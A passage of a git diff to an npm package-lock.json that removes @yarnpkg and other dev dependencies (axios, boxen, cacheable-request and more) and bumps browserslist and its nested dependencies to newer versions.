"sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "@yarnpkg/fslib": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.4.0.tgz", - "integrity": "sha512-CwffYY9owtl3uImNOn1K4jl5iIb/L16a9UZ9Q3lkBARk6tlUsPrNFX00eoUlFcLn49TTfd3zdN6higloGCyncw==", - "dev": true, - "requires": { - "@yarnpkg/libzip": "^2.2.1", - "tslib": "^1.13.0" - }, - "dependencies": { - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - } - } - }, - "@yarnpkg/json-proxy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/json-proxy/-/json-proxy-2.1.0.tgz", - "integrity": "sha512-rOgCg2DkyviLgr80mUMTt9vzdf5RGOujQB26yPiXjlz4WNePLBshKlTNG9rKSoKQSOYEQcw6cUmosfOKDatrCw==", - "dev": true, - "requires": { - "@yarnpkg/fslib": "^2.1.0", - "tslib": "^1.13.0" - }, - "dependencies": { - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - } - } - }, - "@yarnpkg/libzip": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.1.tgz", - "integrity": "sha512-AYDJXrkzayoDd3ZlVgFJ+LyDX+Zj/cki3vxIpcYxejtgkl3aquVWOxlC0DD9WboBWsJFIP1MjrUbchLyh++/7A==", - "dev": true, - "requires": { - "@types/emscripten": "^1.38.0", - "tslib": "^1.13.0" - }, - "dependencies": { - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - } - } - }, - "@yarnpkg/lockfile": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz", - "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==", - "dev": true - }, - "@yarnpkg/parsers": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.3.0.tgz", - "integrity": "sha512-qgz0QUgOvnhtF92kaluIhIIKBUHlYlHUBQxqh5v9+sxEQvUeF6G6PKiFlzo3E6O99XwvNEGpVu1xZPoSGyGscQ==", - "dev": true, - "requires": { - "js-yaml": "^3.10.0", - "tslib": "^1.13.0" - }, - "dependencies": { - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - } - } - }, - "@yarnpkg/pnp": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.3.2.tgz", - "integrity": "sha512-JdwHu1WBCISqJEhIwx6Hbpe8MYsYbkGMxoxolkDiAeJ9IGEe08mQcbX1YmUDV1ozSWlm9JZE90nMylcDsXRFpA==", - "dev": true, - "requires": { - "@types/node": "^13.7.0", - "@yarnpkg/fslib": "^2.4.0", - "tslib": "^1.13.0" - }, - "dependencies": { - "@types/node": { - "version": "13.13.48", - "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.48.tgz", - "integrity": "sha512-z8wvSsgWQzkr4sVuMEEOvwMdOQjiRY2Y/ZW4fDfjfe3+TfQrZqFKOthBgk2RnVEmtOKrkwdZ7uTvsxTBLjKGDQ==", - "dev": true - }, - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - } - } - }, - "@yarnpkg/shell": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.4.1.tgz", - "integrity": "sha512-oNNJkH8ZI5uwu0dMkJf737yMSY1WXn9gp55DqSA5wAOhKvV5DJTXFETxkVgBQhO6Bow9tMGSpvowTMD/oAW/9g==", - "dev": true, - "requires": { - "@yarnpkg/fslib": "^2.4.0", - "@yarnpkg/parsers": "^2.3.0", - "clipanion": "^2.6.2", - "cross-spawn": "7.0.3", - "fast-glob": "^3.2.2", - "micromatch": "^4.0.2", - "stream-buffers": "^3.0.2", - "tslib": "^1.13.0" - }, - "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, "abab": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", @@ -4748,24 +3368,6 @@ "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", "dev": true }, - "aggregate-error": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", - "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", - "dev": true, - "requires": { - "clean-stack": "^2.0.0", - "indent-string": "^4.0.0" - }, - "dependencies": { - "indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true - } - } - }, "ajv": { "version": "6.12.2", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.2.tgz", @@ -4795,49 +3397,6 @@ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", "dev": true }, - "ansi-align": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.0.tgz", - "integrity": "sha512-ZpClVKqXN3RGBmKibdfWzqCY4lnjEuoNzU5T0oEFpfd/z5qJHVarukridD4juLO2FXMiwUQxr9WqQtaYa8XRYw==", - "dev": true, - "requires": { - "string-width": "^3.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, "ansi-colors": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz", @@ -4881,18 +3440,6 @@ "color-convert": "^1.9.0" } }, - "ansicolors": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", - "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=", - "dev": true - }, - "any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=", - "dev": true - }, "anymatch": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", @@ -4920,12 +3467,6 @@ "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", "dev": true }, - "archy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", - "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", - "dev": true - }, "are-we-there-yet": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", @@ -5347,15 +3888,6 @@ "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", "dev": true }, - "axios": { - "version": "0.21.1", - "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", - "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", - "dev": true, - "requires": { - "follow-redirects": "^1.10.0" - } - }, "babel-eslint": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", @@ -5612,12 +4144,6 @@ "file-uri-to-path": "1.0.0" } }, - "binjumper": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/binjumper/-/binjumper-0.1.4.tgz", - "integrity": "sha512-Gdxhj+U295tIM6cO4bJO1jsvSjBVHNpj2o/OwW7pqDEtaqF6KdOxjtbo93jMMKAkP7+u09+bV8DhSqjIv4qR3w==", - "dev": true - }, "biskviit": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", @@ -5626,30 +4152,6 @@ "psl": "^1.1.7" } }, - "bl": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", - "dev": true, - "requires": { - "buffer": "^5.5.0", - "inherits": "^2.0.4", - "readable-stream": "^3.4.0" - }, - "dependencies": { - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - } - } - }, "block-stream": { "version": "0.0.9", "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", @@ -5723,128 +4225,11 @@ "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", "dev": true }, - "boolean": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.3.tgz", - "integrity": "sha512-EqrTKXQX6Z3A2nRmMEIlAIfjQOgFnVO2nqZGpbcsPnYGWBwpFqzlrozU1dy+S2iqfYDLh26ef4KrgTxu9xQrxA==", - "dev": true - }, "bootstrap": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==" }, - "boxen": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/boxen/-/boxen-4.2.0.tgz", - "integrity": "sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==", - "dev": true, - "requires": { - "ansi-align": "^3.0.0", - "camelcase": "^5.3.1", - "chalk": "^3.0.0", - "cli-boxes": "^2.2.0", - "string-width": "^4.1.0", - "term-size": "^2.1.0", - "type-fest": "^0.8.1", - "widest-line": "^3.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true - }, - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, "brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", @@ -5973,36 +4358,43 @@ } } }, - "browserify-zlib": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", - "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", - "dev": true, - "requires": { - "pako": "~0.2.0" - } - }, "browserslist": { - "version": "4.16.4", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.4.tgz", - "integrity": "sha512-d7rCxYV8I9kj41RH8UKYnvDYCRENUlHRgyXy/Rhr/1BaeLGfiCptEdFE8MIrvGfWbBFNjVYx76SQWvNX1j+/cQ==", + "version": "4.17.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.0.tgz", + "integrity": "sha512-g2BJ2a0nEYvEFQC208q8mVAhfNwpZ5Mu8BwgtCdZKO3qx98HChmeg448fPdUzld8aFmfLgVh7yymqV+q1lJZ5g==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30001208", - "colorette": "^1.2.2", - "electron-to-chromium": "^1.3.712", + "caniuse-lite": "^1.0.30001254", + "colorette": "^1.3.0", + "electron-to-chromium": "^1.3.830", "escalade": "^3.1.1", - "node-releases": "^1.1.71" - } - }, - "buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "dev": true, - "requires": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" + "node-releases": "^1.1.75" + }, + "dependencies": { + "caniuse-lite": { + "version": "1.0.30001258", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001258.tgz", + "integrity": "sha512-RBByOG6xWXUp0CR2/WU2amXz3stjKpSl5J1xU49F1n2OxD//uBZO4wCKUiG+QMGf7CHGfDDcqoKriomoGVxTeA==", + "dev": true + }, + "colorette": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.4.0.tgz", + "integrity": "sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==", + "dev": true + }, + "electron-to-chromium": { + "version": "1.3.842", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.842.tgz", + "integrity": "sha512-P/nDMPIYdb2PyqCQwhTXNi5JFjX1AsDVR0y6FrHw752izJIAJ+Pn5lugqyBq4tXeRSZBMBb2ZGvRGB1djtELEQ==", + "dev": true + }, + "node-releases": { + "version": "1.1.75", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.75.tgz", + "integrity": "sha512-Qe5OUajvqrqDSy6wrWFmMwfJ0jVgwiw4T3KqmbTcZ62qW0gQkheXYhcFM1+lOVcGUoRxcEcfyvFMAnDgaF1VWw==", + "dev": true + } } }, "buffer-from": { @@ -6098,38 +4490,6 @@ "unset-value": "^1.0.0" } }, - "cacheable-lookup": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", - "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", - "dev": true - }, - "cacheable-request": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz", - "integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==", - "dev": true, - "requires": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^4.1.0", - "responselike": "^2.0.0" - }, - "dependencies": { - "get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", - "dev": true, - "requires": { - "pump": "^3.0.0" - } - } - } - }, "call-bind": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", @@ -6217,12 +4577,6 @@ "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", "dev": true }, - "child-process": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/child-process/-/child-process-1.0.2.tgz", - "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=", - "dev": true - }, "chokidar": { "version": "2.1.8", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", @@ -6243,24 +4597,12 @@ "upath": "^1.1.1" } }, - "chownr": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - "dev": true - }, "chrome-trace-event": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", "integrity": 